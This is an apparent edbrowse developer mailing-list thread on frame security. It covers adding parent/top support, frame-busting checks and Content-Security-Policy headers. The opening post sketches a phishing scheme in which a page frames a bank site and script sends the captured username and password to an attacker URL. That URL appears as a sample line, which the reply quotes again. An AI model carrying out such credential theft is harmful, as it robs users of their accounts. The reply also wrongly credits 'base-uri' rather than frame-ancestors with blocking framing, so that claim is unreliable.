[Edbrowse-dev] frames and security

[Edbrowse-dev] frames and security

[Karl Dahlke]

[-- Attachment #1: Type: text/plain, Size: 2558 bytes --]

So if I had an email server in China that spewed out millions of phishing emails each day, I could have those emails direct the user to a false site that was a blank window with a frame inside and that frame brings up Bank of America.com.
This isn't a fake Bank of America site with copies of their logos and a perfect reproduction, no, it's their real site with the up to date images and even
the personal picture that you selected, that goes with your cookie and your account, that comes up for security so you know it's the real site.
But it's under my frame.
You start to log in, you put in your user name and password, and before you can press submit,
my javascript is dipping into the Bank of America objects every quarter second, specifically the values of the input fields of the form.
Before you can log in my javascript captures your user name and password, and it sends them to me.
How?
By putting them as search on an http request to my website, which js can do.

https://my. china.site.com/boa?user=username&pass=password

Isn't that all entirely doable, on any browser, including (perhaps) edbrowse?
I can only think of one defense against this.
In a hierarchy of frames, parent points to the frame above you, the frame that contains you, and top points to the top window that started it all, or at least that's how I think it's suppose to work.
So bank of America, and every site that deals with critical information, should check

if(top != window) {
Replace the entire page with a warning that this page cannot be a frame in a larger page, and you are visiting a false site that is trying to jack your account information, and you should be more careful what you click on in your emails.
}

That's all I can think of.
Anyways this is a long story to note that edbrowse now has parent and top as described above.
It was only 12 lines of code, so I like that.

On another note, I'm not entirely sure I set the right frame on various commands.
If you click a button or hyperlink or anything that runs js, do I take the time to set the context according to the frame you're in?
I'm not sure...
Maybe these are things I should have checked before 3.7.0, but I imagine 3.7.1 will come soon enough,
with these kinds of bug fixes, and the new autoexpansion of frames, which should make more sites accessible.
Is there still a couple months before the distros put their packages together?
I imagine they are all independent of each other, so maybe that's a silly question.
We just plug away as we can.

Karl Dahlke

Re: [Edbrowse-dev] frames and security

[Dominique Martinet]

Karl Dahlke wrote on Wed, Aug 09, 2017:
> So if I had an email server in China that spewed out millions of phishing emails each day, I could have those emails direct the user to a false site that was a blank window with a frame inside and that frame brings up Bank of America.com.
> This isn't a fake Bank of America site with copies of their logos and a perfect reproduction, no, it's their real site with the up to date images and even
> the personal picture that you selected, that goes with your cookie and your account, that comes up for security so you know it's the real site.
> But it's under my frame.
> You start to log in, you put in your user name and password, and before you can press submit,
> my javascript is dipping into the Bank of America objects every quarter second, specifically the values of the input fields of the form.
> Before you can log in my javascript captures your user name and password, and it sends them to me.
> How?
> By putting them as search on an http request to my website, which js can do.
> 
> https://my. china.site.com/boa?user=username&pass=password
> 
> Isn't that all entirely doable, on any browser, including (perhaps) edbrowse?
> I can only think of one defense against this.
> In a hierarchy of frames, parent points to the frame above you, the frame that contains you, and top points to the top window that started it all, or at least that's how I think it's suppose to work.
> So bank of America, and every site that deals with critical information, should check
> 
> if(top != window) {
> Replace the entire page with a warning that this page cannot be a frame in a larger page, and you are visiting a false site that is trying to jack your account information, and you should be more careful what you click on in your emails.
> }

I do not know how it's done technically, but some websites actually have
a hint for that: the Content-Security-Policy header.

For example, going to https://github.com will give you these (long block ahead)

Content-Security-Policy:
default-src 'none';
base-uri 'self';
block-all-mixed-content;
child-src render.githubusercontent.com;
connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com;
font-src assets-cdn.github.com;
form-action 'self' github.com gist.github.com;
frame-ancestors 'none';
img-src 'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com;
media-src 'none';
script-src assets-cdn.github.com;
style-src 'unsafe-inline' assets-cdn.github.com

Basically this says the page will not render image, frames, etc from
sites outside of what specified them.
The important bit for frames is the "base-uri 'self'" - this says that
the page will not load unless the top frame (<base> element) is in the
same domain (this excludes subdomains)


It is documented there https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP



It is pretty complex, and some site will not give it anyway, so I think
that for now we should just do some simple anti-cross-scripting as you
suggest: refuse to load frames if the domain do not match.

I also think native_fetchHTTP should have some safe guards, I would just
refuse if the incoming_url site does not match the document site but
this might break things.
I think maybe we should prompt the user in that case, but that will only
work with JS1... We cannot have JS talk with the user as things stand
can we?

-- 
Dominique | Asmadeus

[Edbrowse-dev] frames and security

[Karl Dahlke]

[-- Attachment #1: Type: text/plain, Size: 1101 bytes --]

> the Content-Security-Policy header.

doggies, that's a mess!
Not sure if we're ever gonna deal with that.

> refuse to load frames if the domain do not match.

Well sites pull in frames from all over the internet, lots of youtube videos for example, and google analytics and so on.
I'm sure we need to allow frames from anywhere.

> I also think native_fetchHTTP should have some safe guards, I would just
> refuse if the incoming_url site does not match the document site but
> this might break things.

It might indeed. I wouldn't make that restriction unless (A) a spec told me to, and (B) other browsers do as well.

You can interact with the user from the js process; see the native prompt and confirm commands.
However, the number of features that only work in JS1 is growing, and will continue to grow.
I will probably switch so that one process is default, with $JS2=on forcing edbrowse into 2, and then perhaps jettisoning 2 processes altogether.
I could throw away a lot of lot of code in that event, and clean it up, and it would be much more readable.

Karl Dahlke